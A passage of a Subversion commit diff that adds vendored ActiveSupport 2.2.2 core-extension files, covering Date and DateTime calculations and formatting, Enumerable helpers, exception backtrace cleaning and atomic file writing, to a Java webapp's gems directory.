+  module CoreExtensions #:nodoc:
+    module Date #:nodoc:
+      # Enables the use of time calculations within Time itself
+      module Calculations
+        def self.included(base) #:nodoc:
+          base.extend ClassMethods
+
+          base.instance_eval do
+            alias_method :plus_without_duration, :+
+            alias_method :+, :plus_with_duration
+
+            alias_method :minus_without_duration, :-
+            alias_method :-, :minus_with_duration
+          end
+        end
+
+        module ClassMethods
+          # Returns a new Date representing the date 1 day ago (i.e. yesterday's date).
+          def yesterday
+            ::Date.today.yesterday
+          end
+
+          # Returns a new Date representing the date 1 day after today (i.e. tomorrow's date).
+          def tomorrow
+            ::Date.today.tomorrow
+          end
+
+          # Returns Time.zone.today when config.time_zone is set, otherwise just returns Date.today.
+          def current
+            ::Time.zone_default ? ::Time.zone.today : ::Date.today
+          end
+        end
+
+        # Tells whether the Date object's date lies in the past
+        def past?
+          self < ::Date.current
+        end
+
+        # Tells whether the Date object's date is today
+        def today?
+          self.to_date == ::Date.current # we need the to_date because of DateTime
+        end
+
+        # Tells whether the Date object's date lies in the future
+        def future?
+          self > ::Date.current
+        end
+
+        # Converts Date to a Time (or DateTime if necessary) with the time portion set to the beginning of the day (0:00)
+        # and then subtracts the specified number of seconds
+        def ago(seconds)
+          to_time.since(-seconds)
+        end
+
+        # Converts Date to a Time (or DateTime if necessary) with the time portion set to the beginning of the day (0:00)
+        # and then adds the specified number of seconds
+        def since(seconds)
+          to_time.since(seconds)
+        end
+        alias :in :since
+
+        # Converts Date to a Time (or DateTime if necessary) with the time portion set to the beginning of the day (0:00)
+        def beginning_of_day
+          to_time
+        end
+        alias :midnight :beginning_of_day
+        alias :at_midnight :beginning_of_day
+        alias :at_beginning_of_day :beginning_of_day
+
+        # Converts Date to a Time (or DateTime if necessary) with the time portion set to the end of the day (23:59:59)
+        def end_of_day
+          to_time.end_of_day
+        end
+
+        def plus_with_duration(other) #:nodoc:
+          if ActiveSupport::Duration === other
+            other.since(self)
+          else
+            plus_without_duration(other)
+          end
+        end
+
+        def minus_with_duration(other) #:nodoc:
+          if ActiveSupport::Duration === other
+            plus_with_duration(-other)
+          else
+            minus_without_duration(other)
+          end
+        end
+
+        # Provides precise Date calculations for years, months, and days.  The +options+ parameter takes a hash with
+        # any of these keys: <tt>:years</tt>, <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>.
+        def advance(options)
+          d = self
+          d = d >> options.delete(:years) * 12 if options[:years]
+          d = d >> options.delete(:months)     if options[:months]
+          d = d +  options.delete(:weeks) * 7  if options[:weeks]
+          d = d +  options.delete(:days)       if options[:days]
+          d
+        end
+
+        # Returns a new Date where one or more of the elements have been changed according to the +options+ parameter.
+        #
+        # Examples:
+        #
+        #   Date.new(2007, 5, 12).change(:day => 1)                  # => Date.new(2007, 5, 1)
+        #   Date.new(2007, 5, 12).change(:year => 2005, :month => 1) # => Date.new(2005, 1, 12)
+        def change(options)
+          ::Date.new(
+            options[:year]  || self.year,
+            options[:month] || self.month,
+            options[:day]   || self.day
+          )
+        end
+
+        # Returns a new Date/DateTime representing the time a number of specified months ago
+        def months_ago(months)
+          advance(:months => -months)
+        end
+
+        # Returns a new Date/DateTime representing the time a number of specified months in the future
+        def months_since(months)
+          advance(:months => months)
+        end
+
+        # Returns a new Date/DateTime representing the time a number of specified years ago
+        def years_ago(years)
+          advance(:years => -years)
+        end
+
+        # Returns a new Date/DateTime representing the time a number of specified years in the future
+        def years_since(years)
+          advance(:years => years)
+        end
+
+        # Short-hand for years_ago(1)
+        def last_year
+          years_ago(1)
+        end
+
+        # Short-hand for years_since(1)
+        def next_year
+          years_since(1)
+        end
+
+        # Short-hand for months_ago(1)
+        def last_month
+          months_ago(1)
+        end
+
+        # Short-hand for months_since(1)
+        def next_month
+          months_since(1)
+        end
+
+        # Returns a new Date/DateTime representing the "start" of this week (i.e, Monday; DateTime objects will have time set to 0:00)
+        def beginning_of_week
+          days_to_monday = self.wday!=0 ? self.wday-1 : 6
+          result = self - days_to_monday
+          self.acts_like?(:time) ? result.midnight : result
+        end
+        alias :monday :beginning_of_week
+        alias :at_beginning_of_week :beginning_of_week
+
+        # Returns a new Date/DateTime representing the end of this week (Sunday, DateTime objects will have time set to 23:59:59)
+        def end_of_week
+          days_to_sunday = self.wday!=0 ? 7-self.wday : 0
+          result = self + days_to_sunday.days
+          self.acts_like?(:time) ? result.end_of_day : result
+        end
+        alias :at_end_of_week :end_of_week
+
+        # Returns a new Date/DateTime representing the start of the given day in next week (default is Monday).
+        def next_week(day = :monday)
+          days_into_week = { :monday => 0, :tuesday => 1, :wednesday => 2, :thursday => 3, :friday => 4, :saturday => 5, :sunday => 6}
+          result = (self + 7).beginning_of_week + days_into_week[day]
+          self.acts_like?(:time) ? result.change(:hour => 0) : result
+        end
+
+        # Returns a new ; DateTime objects will have time set to 0:00DateTime representing the start of the month (1st of the month; DateTime objects will have time set to 0:00)
+        def beginning_of_month
+          self.acts_like?(:time) ? change(:day => 1,:hour => 0, :min => 0, :sec => 0) : change(:day => 1)
+        end
+        alias :at_beginning_of_month :beginning_of_month
+
+        # Returns a new Date/DateTime representing the end of the month (last day of the month; DateTime objects will have time set to 0:00)
+        def end_of_month
+          last_day = ::Time.days_in_month( self.month, self.year )
+          self.acts_like?(:time) ? change(:day => last_day, :hour => 23, :min => 59, :sec => 59) : change(:day => last_day)
+        end
+        alias :at_end_of_month :end_of_month
+
+        # Returns a new Date/DateTime representing the start of the quarter (1st of january, april, july, october; DateTime objects will have time set to 0:00)
+        def beginning_of_quarter
+          beginning_of_month.change(:month => [10, 7, 4, 1].detect { |m| m <= self.month })
+        end
+        alias :at_beginning_of_quarter :beginning_of_quarter
+
+        # Returns a new Date/DateTime representing the end of the quarter (last day of march, june, september, december; DateTime objects will have time set to 23:59:59)
+        def end_of_quarter
+          beginning_of_month.change(:month => [3, 6, 9, 12].detect { |m| m >= self.month }).end_of_month
+        end
+        alias :at_end_of_quarter :end_of_quarter
+
+        # Returns a new Date/DateTime representing the start of the year (1st of january; DateTime objects will have time set to 0:00)
+        def beginning_of_year
+          self.acts_like?(:time) ? change(:month => 1, :day => 1, :hour => 0, :min => 0, :sec => 0) : change(:month => 1, :day => 1)
+        end
+        alias :at_beginning_of_year :beginning_of_year
+
+        # Returns a new Time representing the end of the year (31st of december; DateTime objects will have time set to 23:59:59)
+        def end_of_year
+          self.acts_like?(:time) ? change(:month => 12,:day => 31,:hour => 23, :min => 59, :sec => 59) : change(:month => 12, :day => 31)
+        end
+        alias :at_end_of_year :end_of_year
+
+        # Convenience method which returns a new Date/DateTime representing the time 1 day ago
+        def yesterday
+          self - 1
+        end
+
+        # Convenience method which returns a new Date/DateTime representing the time 1 day since the instance time
+        def tomorrow
+          self + 1
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/date/conversions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/date/conversions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/date/conversions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,107 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Date #:nodoc:
+      # Converting dates to formatted strings, times, and datetimes.
+      module Conversions
+        DATE_FORMATS = {
+          :short        => "%e %b",
+          :long         => "%B %e, %Y",
+          :db           => "%Y-%m-%d",
+          :number       => "%Y%m%d",
+          :long_ordinal => lambda { |date| date.strftime("%B #{date.day.ordinalize}, %Y") }, # => "April 25th, 2007"
+          :rfc822       => "%e %b %Y"
+        }
+
+        def self.included(base) #:nodoc:
+          base.instance_eval do
+            alias_method :to_default_s, :to_s
+            alias_method :to_s, :to_formatted_s
+            alias_method :default_inspect, :inspect
+            alias_method :inspect, :readable_inspect
+
+            # Ruby 1.9 has Date#to_time which converts to localtime only.
+            remove_method :to_time if base.instance_methods.include?(:to_time)
+
+            # Ruby 1.9 has Date#xmlschema which converts to a string without the time component.
+            remove_method :xmlschema if base.instance_methods.include?(:xmlschema)
+          end
+        end
+
+        # Convert to a formatted string. See DATE_FORMATS for predefined formats.
+        #
+        # This method is aliased to <tt>to_s</tt>.
+        #
+        # ==== Examples:
+        #   date = Date.new(2007, 11, 10)       # => Sat, 10 Nov 2007
+        #
+        #   date.to_formatted_s(:db)            # => "2007-11-10"
+        #   date.to_s(:db)                      # => "2007-11-10"
+        #
+        #   date.to_formatted_s(:short)         # => "10 Nov"
+        #   date.to_formatted_s(:long)          # => "November 10, 2007"
+        #   date.to_formatted_s(:long_ordinal)  # => "November 10th, 2007"
+        #   date.to_formatted_s(:rfc822)        # => "10 Nov 2007"
+        #
+        # == Adding your own time formats to to_formatted_s
+        # You can add your own formats to the Date::DATE_FORMATS hash.
+        # Use the format name as the hash key and either a strftime string
+        # or Proc instance that takes a date argument as the value.
+        #
+        #   # config/initializers/time_formats.rb
+        #   Date::DATE_FORMATS[:month_and_year] = "%B %Y"
+        #   Date::DATE_FORMATS[:short_ordinal] = lambda { |date| date.strftime("%B #{date.day.ordinalize}") }
+        def to_formatted_s(format = :default)
+          if formatter = DATE_FORMATS[format]
+            if formatter.respond_to?(:call)
+              formatter.call(self).to_s
+            else
+              strftime(formatter)
+            end
+          else
+            to_default_s
+          end
+        end
+
+        # Overrides the default inspect method with a human readable one, e.g., "Mon, 21 Feb 2005"
+        def readable_inspect
+          strftime("%a, %d %b %Y")
+        end
+
+        # A method to keep Time, Date and DateTime instances interchangeable on conversions.
+        # In this case, it simply returns +self+.
+        def to_date
+          self
+        end if RUBY_VERSION < '1.9'
+
+        # Converts a Date instance to a Time, where the time is set to the beginning of the day.
+        # The timezone can be either :local or :utc (default :local).
+        #
+        # ==== Examples:
+        #   date = Date.new(2007, 11, 10)  # => Sat, 10 Nov 2007
+        #
+        #   date.to_time                   # => Sat Nov 10 00:00:00 0800 2007
+        #   date.to_time(:local)           # => Sat Nov 10 00:00:00 0800 2007
+        #
+        #   date.to_time(:utc)             # => Sat Nov 10 00:00:00 UTC 2007
+        def to_time(form = :local)
+          ::Time.send("#{form}_time", year, month, day)
+        end
+
+        # Converts a Date instance to a DateTime, where the time is set to the beginning of the day
+        # and UTC offset is set to 0.
+        #
+        # ==== Example:
+        #   date = Date.new(2007, 11, 10)  # => Sat, 10 Nov 2007
+        #
+        #   date.to_datetime               # => Sat, 10 Nov 2007 00:00:00 0000
+        def to_datetime
+          ::DateTime.civil(year, month, day, 0, 0, 0, 0)
+        end if RUBY_VERSION < '1.9'
+
+        def xmlschema
+          to_time.xmlschema
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/date.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/date.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/date.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,10 @@
+require 'date'
+require 'active_support/core_ext/date/behavior'
+require 'active_support/core_ext/date/calculations'
+require 'active_support/core_ext/date/conversions'
+
+class Date#:nodoc:
+  include ActiveSupport::CoreExtensions::Date::Behavior
+  include ActiveSupport::CoreExtensions::Date::Calculations
+  include ActiveSupport::CoreExtensions::Date::Conversions
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/date_time/calculations.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/date_time/calculations.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/date_time/calculations.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,126 @@
+require 'rational'
+
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module DateTime #:nodoc:
+      # Enables the use of time calculations within DateTime itself
+      module Calculations
+        def self.included(base) #:nodoc:
+          base.extend ClassMethods
+
+          base.class_eval do
+            alias_method :compare_without_coercion, :<=>
+            alias_method :<=>, :compare_with_coercion
+          end
+        end
+
+        module ClassMethods
+          # DateTimes aren't aware of DST rules, so use a consistent non-DST offset when creating a DateTime with an offset in the local zone
+          def local_offset
+            ::Time.local(2007).utc_offset.to_r / 86400
+          end
+
+          def current
+            ::Time.zone_default ? ::Time.zone.now.to_datetime : ::Time.now.to_datetime
+          end
+        end
+
+        # Tells whether the DateTime object's datetime lies in the past
+        def past?
+          self < ::DateTime.current
+        end
+
+        # Tells whether the DateTime object's datetime lies in the future
+        def future?
+          self > ::DateTime.current
+        end
+
+        # Seconds since midnight: DateTime.now.seconds_since_midnight
+        def seconds_since_midnight
+          self.sec + (self.min * 60) + (self.hour * 3600)
+        end
+
+        # Returns a new DateTime where one or more of the elements have been changed according to the +options+ parameter. The time options
+        # (hour, minute, sec) reset cascadingly, so if only the hour is passed, then minute and sec is set to 0. If the hour and
+        # minute is passed, then sec is set to 0.
+        def change(options)
+          ::DateTime.civil(
+            options[:year]  || self.year,
+            options[:month] || self.month,
+            options[:day]   || self.day,
+            options[:hour]  || self.hour,
+            options[:min]   || (options[:hour] ? 0 : self.min),
+            options[:sec]   || ((options[:hour] || options[:min]) ? 0 : self.sec),
+            options[:offset]  || self.offset,
+            options[:start]  || self.start
+          )
+        end
+
+        # Uses Date to provide precise Time calculations for years, months, and days.
+        # The +options+ parameter takes a hash with any of these keys: <tt>:years</tt>,
+        # <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>, <tt>:hours</tt>,
+        # <tt>:minutes</tt>, <tt>:seconds</tt>.
+        def advance(options)
+          d = to_date.advance(options)
+          datetime_advanced_by_date = change(:year => d.year, :month => d.month, :day => d.day)
+          seconds_to_advance = (options[:seconds] || 0) + (options[:minutes] || 0) * 60 + (options[:hours] || 0) * 3600
+          seconds_to_advance == 0 ? datetime_advanced_by_date : datetime_advanced_by_date.since(seconds_to_advance)
+        end
+
+        # Returns a new DateTime representing the time a number of seconds ago
+        # Do not use this method in combination with x.months, use months_ago instead!
+        def ago(seconds)
+          self.since(-seconds)
+        end
+
+        # Returns a new DateTime representing the time a number of seconds since the instance time
+        # Do not use this method in combination with x.months, use months_since instead!
+        def since(seconds)
+          self + Rational(seconds.round, 86400)
+        end
+        alias :in :since
+
+        # Returns a new DateTime representing the start of the day (0:00)
+        def beginning_of_day
+          change(:hour => 0)
+        end
+        alias :midnight :beginning_of_day
+        alias :at_midnight :beginning_of_day
+        alias :at_beginning_of_day :beginning_of_day
+
+        # Returns a new DateTime representing the end of the day (23:59:59)
+        def end_of_day
+          change(:hour => 23, :min => 59, :sec => 59)
+        end
+
+        # Adjusts DateTime to UTC by adding its offset value; offset is set to 0
+        #
+        # Example:
+        #
+        #   DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24))       # => Mon, 21 Feb 2005 10:11:12 -0600
+        #   DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24)).utc   # => Mon, 21 Feb 2005 16:11:12 +0000
+        def utc
+          new_offset(0)
+        end
+        alias_method :getutc, :utc
+
+        # Returns true if offset == 0
+        def utc?
+          offset == 0
+        end
+
+        # Returns the offset value in seconds
+        def utc_offset
+          (offset * 86400).to_i
+        end
+
+        # Layers additional behavior on DateTime#<=> so that Time and ActiveSupport::TimeWithZone instances can be compared with a DateTime
+        def compare_with_coercion(other)
+          other = other.comparable_time if other.respond_to?(:comparable_time)
+          other = other.to_datetime unless other.acts_like?(:date)
+          compare_without_coercion(other)
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/date_time/conversions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/date_time/conversions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/date_time/conversions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,96 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module DateTime #:nodoc:
+      # Converting datetimes to formatted strings, dates, and times.
+      module Conversions
+        def self.append_features(base) #:nodoc:
+          base.class_eval do
+            alias_method :default_inspect, :inspect
+            alias_method :to_default_s, :to_s unless (instance_methods(false) & [:to_s, 'to_s']).empty?
+
+            # Ruby 1.9 has DateTime#to_time which internally relies on Time. We define our own #to_time which allows
+            # DateTimes outside the range of what can be created with Time.
+            remove_method :to_time if instance_methods.include?(:to_time)
+          end
+
+          super
+
+          base.class_eval do
+            alias_method :to_s, :to_formatted_s
+            alias_method :inspect, :readable_inspect
+          end
+        end
+
+        # Convert to a formatted string. See Time::DATE_FORMATS for predefined formats.
+        # 
+        # This method is aliased to <tt>to_s</tt>.
+        # 
+        # === Examples:
+        #   datetime = DateTime.civil(2007, 12, 4, 0, 0, 0, 0)   # => Tue, 04 Dec 2007 00:00:00 +0000
+        # 
+        #   datetime.to_formatted_s(:db)            # => "2007-12-04 00:00:00"
+        #   datetime.to_s(:db)                      # => "2007-12-04 00:00:00"
+        #   datetime.to_s(:number)                  # => "20071204000000"
+        #   datetime.to_formatted_s(:short)         # => "04 Dec 00:00"
+        #   datetime.to_formatted_s(:long)          # => "December 04, 2007 00:00"
+        #   datetime.to_formatted_s(:long_ordinal)  # => "December 4th, 2007 00:00"
+        #   datetime.to_formatted_s(:rfc822)        # => "Tue, 04 Dec 2007 00:00:00 +0000"
+        #
+        # == Adding your own datetime formats to to_formatted_s
+        # DateTime formats are shared with Time. You can add your own to the
+        # Time::DATE_FORMATS hash. Use the format name as the hash key and
+        # either a strftime string or Proc instance that takes a time or
+        # datetime argument as the value.
+        #
+        #   # config/initializers/time_formats.rb
+        #   Time::DATE_FORMATS[:month_and_year] = "%B %Y"
+        #   Time::DATE_FORMATS[:short_ordinal] = lambda { |time| time.strftime("%B #{time.day.ordinalize}") }
+        def to_formatted_s(format = :default)
+          return to_default_s unless formatter = ::Time::DATE_FORMATS[format]
+          formatter.respond_to?(:call) ? formatter.call(self).to_s : strftime(formatter)
+        end
+
+        # Returns the +utc_offset+ as an +HH:MM formatted string. Examples:
+        #
+        #   datetime = DateTime.civil(2000, 1, 1, 0, 0, 0, Rational(-6, 24))
+        #   datetime.formatted_offset         # => "-06:00"
+        #   datetime.formatted_offset(false)  # => "-0600"
+        def formatted_offset(colon = true, alternate_utc_string = nil)
+          utc? && alternate_utc_string || utc_offset.to_utc_offset_s(colon)
+        end
+        
+        # Overrides the default inspect method with a human readable one, e.g., "Mon, 21 Feb 2005 14:30:00 +0000"
+        def readable_inspect
+          to_s(:rfc822)
+        end
+
+        # Converts self to a Ruby Date object; time portion is discarded
+        def to_date
+          ::Date.new(year, month, day)
+        end
+
+        # Attempts to convert self to a Ruby Time object; returns self if out of range of Ruby Time class
+        # If self has an offset other than 0, self will just be returned unaltered, since there's no clean way to map it to a Time
+        def to_time
+          self.offset == 0 ? ::Time.utc_time(year, month, day, hour, min, sec) : self
+        end
+
+        # To be able to keep Times, Dates and DateTimes interchangeable on conversions
+        def to_datetime
+          self
+        end
+
+        # Converts datetime to an appropriate format for use in XML
+        def xmlschema
+          strftime("%Y-%m-%dT%H:%M:%S%Z")
+        end if RUBY_VERSION < '1.9'
+        
+        # Converts self to a floating-point number of seconds since the Unix epoch 
+        def to_f
+          days_since_unix_epoch = self - ::DateTime.civil(1970)
+          (days_since_unix_epoch * 86_400).to_f
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/date_time.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/date_time.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/date_time.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+require 'date'
+require 'active_support/core_ext/time/behavior'
+require 'active_support/core_ext/time/zones'
+require 'active_support/core_ext/date_time/calculations'
+require 'active_support/core_ext/date_time/conversions'
+
+class DateTime
+  include ActiveSupport::CoreExtensions::Time::Behavior
+  include ActiveSupport::CoreExtensions::Time::Zones
+  include ActiveSupport::CoreExtensions::DateTime::Calculations
+  include ActiveSupport::CoreExtensions::DateTime::Conversions
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/duplicable.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/duplicable.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/duplicable.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,43 @@
+class Object
+  # Can you safely .dup this object?
+  # False for nil, false, true, symbols, and numbers; true otherwise.
+  def duplicable?
+    true
+  end
+end
+
+class NilClass #:nodoc:
+  def duplicable?
+    false
+  end
+end
+
+class FalseClass #:nodoc:
+  def duplicable?
+    false
+  end
+end
+
+class TrueClass #:nodoc:
+  def duplicable?
+    false
+  end
+end
+
+class Symbol #:nodoc:
+  def duplicable?
+    false
+  end
+end
+
+class Numeric #:nodoc:
+  def duplicable?
+    false
+  end
+end
+
+class Class #:nodoc:
+  def duplicable?
+    false
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/enumerable.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/enumerable.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/enumerable.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,107 @@
+require 'active_support/ordered_hash'
+
+module Enumerable
+  # Ruby 1.8.7 introduces group_by, but the result isn't ordered. Override it.
+  remove_method(:group_by) if [].respond_to?(:group_by) && RUBY_VERSION < '1.9'
+
+  # Collect an enumerable into sets, grouped by the result of a block. Useful,
+  # for example, for grouping records by date.
+  #
+  # Example:
+  #
+  #   latest_transcripts.group_by(&:day).each do |day, transcripts| 
+  #     p "#{day} -> #{transcripts.map(&:class).join(', ')}"
+  #   end
+  #   "2006-03-01 -> Transcript"
+  #   "2006-02-28 -> Transcript"
+  #   "2006-02-27 -> Transcript, Transcript"
+  #   "2006-02-26 -> Transcript, Transcript"
+  #   "2006-02-25 -> Transcript"
+  #   "2006-02-24 -> Transcript, Transcript"
+  #   "2006-02-23 -> Transcript"
+  def group_by
+    assoc = ActiveSupport::OrderedHash.new
+
+    each do |element|
+      key = yield(element)
+
+      if assoc.has_key?(key)
+        assoc[key] << element
+      else
+        assoc[key] = [element]
+      end
+    end
+
+    assoc
+  end unless [].respond_to?(:group_by)
+
+  # Calculates a sum from the elements. Examples:
+  #
+  #  payments.sum { |p| p.price * p.tax_rate }
+  #  payments.sum(&:price)
+  #
+  # The latter is a shortcut for:
+  #
+  #  payments.inject { |sum, p| sum + p.price }
+  #
+  # It can also calculate the sum without the use of a block.
+  #
+  #  [5, 15, 10].sum # => 30
+  #  ["foo", "bar"].sum # => "foobar"
+  #  [[1, 2], [3, 1, 5]].sum => [1, 2, 3, 1, 5]
+  #
+  # The default sum of an empty list is zero. You can override this default:
+  #
+  #  [].sum(Payment.new(0)) { |i| i.amount } # => Payment.new(0)
+  #
+  def sum(identity = 0, &block)
+    return identity unless size > 0
+
+    if block_given?
+      map(&block).sum
+    else
+      inject { |sum, element| sum + element }
+    end
+  end
+
+  # Iterates over a collection, passing the current element *and* the
+  # +memo+ to the block. Handy for building up hashes or
+  # reducing collections down to one object. Examples:
+  #
+  #   %w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'}
+  #
+  # *Note* that you can't use immutable objects like numbers, true or false as
+  # the memo. You would think the following returns 120, but since the memo is
+  # never changed, it does not.
+  #
+  #   (1..5).each_with_object(1) { |value, memo| memo *= value } # => 1
+  #
+  def each_with_object(memo, &block)
+    returning memo do |m|
+      each do |element|
+        block.call(element, m)
+      end
+    end
+  end unless [].respond_to?(:each_with_object)
+
+  # Convert an enumerable to a hash. Examples:
+  #
+  #   people.index_by(&:login)
+  #     => { "nextangle" => <Person ...>, "chade-" => <Person ...>, ...}
+  #   people.index_by { |person| "#{person.first_name} #{person.last_name}" }
+  #     => { "Chade- Fowlersburg-e" => <Person ...>, "David Heinemeier Hansson" => <Person ...>, ...}
+  # 
+  def index_by
+    inject({}) do |accum, elem|
+      accum[yield(elem)] = elem
+      accum
+    end
+  end
+  
+  # Returns true if the collection has more than 1 element. Functionally equivalent to collection.size > 1.
+  # Works with a block too ala any?, so people.many? { |p| p.age > 26 } # => returns true if more than 1 person is over 26.
+  def many?(&block)
+    size = block_given? ? select(&block).size : self.size
+    size > 1
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/exception.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/exception.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/exception.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,41 @@
+module ActiveSupport
+  if RUBY_VERSION >= '1.9'
+    FrozenObjectError = RuntimeError
+  else
+    FrozenObjectError = TypeError
+  end
+end
+
+class Exception # :nodoc:
+  def clean_message
+    Pathname.clean_within message
+  end
+  
+  TraceSubstitutions = []
+  FrameworkRegexp = /generated|vendor|dispatch|ruby|script\/\w+/
+  
+  def clean_backtrace
+    backtrace.collect do |line|
+      Pathname.clean_within(TraceSubstitutions.inject(line) do |result, (regexp, sub)|
+        result.gsub regexp, sub
+      end)
+    end
+  end
+  
+  def application_backtrace
+    before_application_frame = true
+    
+    trace = clean_backtrace.reject do |line|
+      non_app_frame = (line =~ FrameworkRegexp)
+      before_application_frame = false unless non_app_frame
+      non_app_frame && ! before_application_frame
+    end
+    
+    # If we didn't find any application frames, return an empty app trace.
+    before_application_frame ? [] : trace
+  end
+  
+  def framework_backtrace
+    clean_backtrace.grep FrameworkRegexp
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/file/atomic.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/file/atomic.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/file/atomic.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,46 @@
+require 'tempfile'
+
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module File #:nodoc:
+      module Atomic
+        # Write to a file atomically.  Useful for situations where you don't
+        # want other processes or threads to see half-written files.
+        #
+        #   File.atomic_write("important.file") do |file|
+        #     file.write("hello")
+        #   end
+        #
+        # If your temp directory is not on the same filesystem as the file you're 
+        # trying to write, you can provide a different temporary directory.
+        # 
+        #   File.atomic_write("/data/something.important", "/data/tmp") do |f|
+        #     file.write("hello")
+        #   end
+        def atomic_write(file_name, temp_dir = Dir.tmpdir)
+          temp_file = Tempfile.new(basename(file_name), temp_dir)
+          yield temp_file
+          temp_file.close
+
+          begin
+            # Get original file permissions
+            old_stat = stat(file_name)
+          rescue Errno::ENOENT
+            # No old permissions, write a temp file to determine the defaults
+            check_name = ".permissions_check.#{Thread.current.object_id}.#{Process.pid}.#{rand(1000000)}"
+            open(check_name, "w") { }
+            old_stat = stat(check_name)
+            unlink(check_name)
+          end
+
+          # Overwrite original file with temp file
+          rename(temp_file.path, file_name)
+
+          # Set correct permissions on new file
+          chown(old_stat.uid, old_stat.gid, file_name)
+          chmod(old_stat.mode, file_name)
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/file.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/file.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/file.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+require 'active_support/core_ext/file/atomic'
+
+class File #:nodoc:
+  extend ActiveSupport::CoreExtensions::File::Atomic
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/float/rounding.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/float/rounding.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/core_ext/float/rounding.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,24 @@
+module ActiveSupport #:nodoc:
+  module CoreExtensions #:nodoc:
+    module Float #:nodoc:
